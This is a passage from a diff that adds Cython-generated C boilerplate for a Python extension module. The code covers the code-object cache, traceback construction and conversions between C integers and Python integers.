PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__9); + } + return name; +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 